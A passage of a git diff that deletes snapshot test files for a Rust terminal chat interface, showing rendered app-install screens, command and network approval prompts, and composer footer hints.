tui_app_server/src/bottom_pane/app_link_view.rs -expression: "render_snapshot(&view, Rect::new(0, 0, 72, view.desired_height(72)))" ---- - - Google Calendar - Plan events and schedules. - - Plan and reference events from your calendar - - Use $ to insert this app into the prompt. - - Enable this app to use it for the current request. - Newly installed apps can take a few minutes to appear in /apps. - - - › 1. Manage on ChatGPT - 2. Enable app - 3. Back - Use tab / ↑ ↓ to move, enter to select, esc to close diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__app_link_view__tests__app_link_view_install_suggestion_with_reason.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__app_link_view__tests__app_link_view_install_suggestion_with_reason.snap deleted file mode 100644 index b79163047d..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__app_link_view__tests__app_link_view_install_suggestion_with_reason.snap +++ /dev/null @@ -1,18 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/app_link_view.rs -expression: "render_snapshot(&view, Rect::new(0, 0, 72, view.desired_height(72)))" ---- - - Google Calendar - Plan events and schedules. - - Plan and reference events from your calendar - - Install this app in your browser, then return here. - Newly installed apps can take a few minutes to appear in /apps. - After installed, use $ to insert this app into the prompt. - - - › 1. Install on ChatGPT - 2. Back - Use tab / ↑ ↓ to move, enter to select, esc to close diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__approval_overlay__tests__approval_overlay_additional_permissions_prompt.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__approval_overlay__tests__approval_overlay_additional_permissions_prompt.snap deleted file mode 100644 index 6a9ab35f60..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__approval_overlay__tests__approval_overlay_additional_permissions_prompt.snap +++ /dev/null @@ -1,17 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/approval_overlay.rs -expression: "normalize_snapshot_paths(render_overlay_lines(&view, 120))" ---- - - Would you like to run the following command? - - Reason: need filesystem access - - Permission rule: network; read `/tmp/readme.txt`; write `/tmp/out.txt` - - $ cat /tmp/readme.txt - -› 1. Yes, proceed (y) - 2. No, and tell Codex what to do differently (esc) - - Press enter to confirm or esc to cancel diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__approval_overlay__tests__approval_overlay_cross_thread_prompt.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__approval_overlay__tests__approval_overlay_cross_thread_prompt.snap deleted file mode 100644 index 54c6cffab2..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__approval_overlay__tests__approval_overlay_cross_thread_prompt.snap +++ /dev/null @@ -1,15 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/approval_overlay.rs -expression: "render_overlay_lines(&view, 80)" ---- - - Would you like to run the following command? - - Thread: Robie [explorer] - - $ echo hi - -› 1. Yes, proceed (y) - 2. No, and tell Codex what to do differently (esc) - - Press enter to confirm or esc to cancel or o to open thread diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__approval_overlay__tests__approval_overlay_permissions_prompt.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__approval_overlay__tests__approval_overlay_permissions_prompt.snap deleted file mode 100644 index a161611c4a..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__approval_overlay__tests__approval_overlay_permissions_prompt.snap +++ /dev/null @@ -1,16 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/approval_overlay.rs -expression: "normalize_snapshot_paths(render_overlay_lines(&view, 120))" ---- - - Would you like to grant these permissions? - - Reason: need workspace access - - Permission rule: network; read `/tmp/readme.txt`; write `/tmp/out.txt` - -› 1. Yes, grant these permissions (y) - 2. Yes, grant these permissions for this session (a) - 3. No, continue without permissions (n) - - Press enter to confirm or esc to cancel diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__approval_overlay__tests__network_exec_prompt.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__approval_overlay__tests__network_exec_prompt.snap deleted file mode 100644 index 5f5dd325a6..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__approval_overlay__tests__network_exec_prompt.snap +++ /dev/null @@ -1,37 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/approval_overlay.rs -expression: "format!(\"{buf:?}\")" ---- -Buffer { - area: Rect { x: 0, y: 0, width: 100, height: 12 }, - content: [ - " ", - " Do you want to approve network access to "example.com"? ", - " ", - " Reason: network request blocked ", - " ", - " ", - "› 1. Yes, just this once (y) ", - " 2. Yes, and allow this host for this conversation (a) ", - " 3. Yes, and allow this host in the future (p) ", - " 4. No, and tell Codex what to do differently (esc) ", - " ", - " Press enter to confirm or esc to cancel ", - ], - styles: [ - x: 0, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 2, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: BOLD, - x: 57, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 10, y: 3, fg: Reset, bg: Reset, underline: Reset, modifier: ITALIC, - x: 33, y: 3, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 6, fg: Cyan, bg: Reset, underline: Reset, modifier: BOLD, - x: 28, y: 6, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 53, y: 7, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 54, y: 7, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 45, y: 8, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 46, y: 8, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 48, y: 9, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 51, y: 9, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 2, y: 11, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - ] -} diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__backspace_after_pastes.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__backspace_after_pastes.snap deleted file mode 100644 index 981fa79ba9..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__backspace_after_pastes.snap +++ /dev/null @@ -1,14 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› [Pasted Content 1002 chars][Pasted Content 1004 chars] " -" " -" " -" " -" " -" " -" " -" " -" 100% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__empty.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__empty.snap deleted file mode 100644 index 9204fb6a3c..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__empty.snap +++ /dev/null @@ -1,14 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Ask Codex to do anything " -" " -" " -" " -" " -" " -" " -" " -" ? for shortcuts 100% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_empty_full.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_empty_full.snap deleted file mode 100644 index 0da75da8eb..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_empty_full.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Ask Codex to do anything " -" " -" " -" " -" " -" " -" " -" ? for shortcuts 100% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_empty_mode_cycle_with_context.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_empty_mode_cycle_with_context.snap deleted file mode 100644 index f99623afb8..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_empty_mode_cycle_with_context.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Ask Codex to do anything " -" " -" " -" " -" " -" " -" " -" ? for shortcuts 100% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_empty_mode_cycle_without_context.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_empty_mode_cycle_without_context.snap deleted file mode 100644 index 896876d67f..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_empty_mode_cycle_without_context.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Ask Codex to do anything " -" " -" " -" " -" " -" " -" " -" ? for shortcuts 100% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_empty_mode_only.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_empty_mode_only.snap deleted file mode 100644 index 1088a2a176..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_empty_mode_only.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Ask Codex to do anythin " -" " -" " -" " -" " -" " -" " -" 100% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_full.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_full.snap deleted file mode 100644 index 796ef63c59..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_full.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Ask Codex to do anything " -" " -" " -" " -" " -" " -" " -" ? for shortcuts · Plan mode (shift+tab to cycle) 100% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_mode_cycle_with_context.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_mode_cycle_with_context.snap deleted file mode 100644 index ec04f47824..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_mode_cycle_with_context.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Ask Codex to do anything " -" " -" " -" " -" " -" " -" " -" Plan mode (shift+tab to cycle) 100% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_mode_cycle_without_context.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_mode_cycle_without_context.snap deleted file mode 100644 index 6d54c6f3e2..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_mode_cycle_without_context.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Ask Codex to do anything " -" " -" " -" " -" " -" " -" " -" Plan mode (shift+tab to cycle) " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_mode_only.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_mode_only.snap deleted file mode 100644 index 995323daf7..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_mode_only.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Ask Codex to do anythin " -" " -" " -" " -" " -" " -" " -" Plan mode " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_full.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_full.snap deleted file mode 100644 index b88fb8e82a..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_full.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Test " -" " -" " -" " -" " -" " -" " -" tab to queue message · Plan mode 98% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_message_without_context.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_message_without_context.snap deleted file mode 100644 index c8630ee26b..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_message_without_context.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Test " -" " -" " -" " -" " -" " -" " -" tab to queue message · Plan mode " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_mode_only.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_mode_only.snap deleted file mode 100644 index 6a36766c89..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_mode_only.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Test " -" " -" " -" " -" " -" " -" " -" Plan mode " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_short_with_context.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_short_with_context.snap deleted file mode 100644 index db0f1e997b..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_short_with_context.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Test " -" " -" " -" " -" " -" " -" " -" tab to queue · Plan mode 98% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_short_without_context.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_short_without_context.snap deleted file mode 100644 index b88cbbabf6..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_short_without_context.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Test " -" " -" " -" " -" " -" " -" " -" tab to queue · Plan mode " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_queue_full.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_queue_full.snap deleted file mode 100644 index 6cf0ec3b19..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_queue_full.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Test " -" " -" " -" " -" " -" " -" " -" tab to queue message 98% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_queue_message_without_context.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_queue_message_without_context.snap deleted file mode 100644 index 19a7e64722..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_queue_message_without_context.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Test " -" " -" " -" " -" " -" " -" " -" tab to queue 98% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_queue_mode_only.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_queue_mode_only.snap deleted file mode 100644 index cafc69665e..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_queue_mode_only.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Test " -" " -" " -" " -" " -" " -" " -" tab to queue " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_queue_short_with_context.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_queue_short_with_context.snap deleted file mode 100644 index 968faa40cd..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_queue_short_with_context.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Test " -" " -" " -" " -" " -" " -" " -" tab to queue message 98% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_queue_short_without_context.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_queue_short_without_context.snap deleted file mode 100644 index 2b1ed462e3..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_queue_short_without_context.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Test " -" " -" " -" " -" " -" " -" " -" tab to queue message " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_ctrl_c_interrupt.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_ctrl_c_interrupt.snap deleted file mode 100644 index 9d82e2258f..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_ctrl_c_interrupt.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Ask Codex to do anything " -" " -" " -" " -" " -" " -" " -" ctrl + c again to quit " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_ctrl_c_quit.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_ctrl_c_quit.snap deleted file mode 100644 index 9d82e2258f..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_ctrl_c_quit.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Ask Codex to do anything " -" " -" " -" " -" " -" " -" " -" ctrl + c again to quit " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_ctrl_c_then_esc_hint.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_ctrl_c_then_esc_hint.snap deleted file mode 100644 index 9630bdc994..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_ctrl_c_then_esc_hint.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Ask Codex to do anything " -" " -" " -" " -" " -" " -" " -" esc esc to edit previous message " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_esc_hint_backtrack.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_esc_hint_backtrack.snap deleted file mode 100644 index 26029fdbc1..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_esc_hint_backtrack.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Ask Codex to do anything " -" " -" " -" " -" " -" " -" " -" esc again to edit previous message " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_esc_hint_from_overlay.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_esc_hint_from_overlay.snap deleted file mode 100644 index 9630bdc994..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_esc_hint_from_overlay.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Ask Codex to do anything " -" " -" " -" " -" " -" " -" " -" esc esc to edit previous message " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_hidden_while_typing.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_hidden_while_typing.snap deleted file mode 100644 index b41b96e494..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_hidden_while_typing.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› h " -" " -" " -" " -" " -" " -" " -" 100% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_overlay_then_external_esc_hint.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_overlay_then_external_esc_hint.snap deleted file mode 100644 index 26029fdbc1..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_overlay_then_external_esc_hint.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Ask Codex to do anything " -" " -" " -" " -" " -" " -" " -" esc again to edit previous message " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_shortcut_overlay.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_shortcut_overlay.snap deleted file mode 100644 index d176b58d93..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_shortcut_overlay.snap +++ /dev/null @@ -1,18 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Ask Codex to do anything " -" " -" " -" " -" " -" " -" " -" / for commands ! for shell commands " -" shift + enter for newline tab to queue message " -" @ for file paths ctrl + v to paste images " -" ctrl + g to edit in external editor esc again to edit previous message " -" ctrl + c to exit " -" ctrl + t to view transcript " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__image_placeholder_multiple.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__image_placeholder_multiple.snap deleted file mode 100644 index 26f2018e20..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__image_placeholder_multiple.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› [Image #1][Image #2] " -" " -" " -" " -" " -" " -" " -" 100% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__image_placeholder_single.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__image_placeholder_single.snap deleted file mode 100644 index 6ce249ad8b..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__image_placeholder_single.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› [Image #1] " -" " -" " -" " -" " -" " -" " -" 100% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__large.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__large.snap deleted file mode 100644 index 1c5f0271c6..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__large.snap +++ /dev/null @@ -1,14 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› [Pasted Content 1005 chars] " -" " -" " -" " -" " -" " -" " -" " -" 100% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__mention_popup_type_prefixes.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__mention_popup_type_prefixes.snap deleted file mode 100644 index ac759c2134..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__mention_popup_type_prefixes.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› $goog " -" " -" " -" Google Calendar [Plugin] Connect Google Calendar for scheduling, ava…" -" Google Calendar [Skill] Find availability and plan event changes " -" Google Calendar [App] Look up events and availability " -" " -" Press enter to insert or esc to close " diff --git 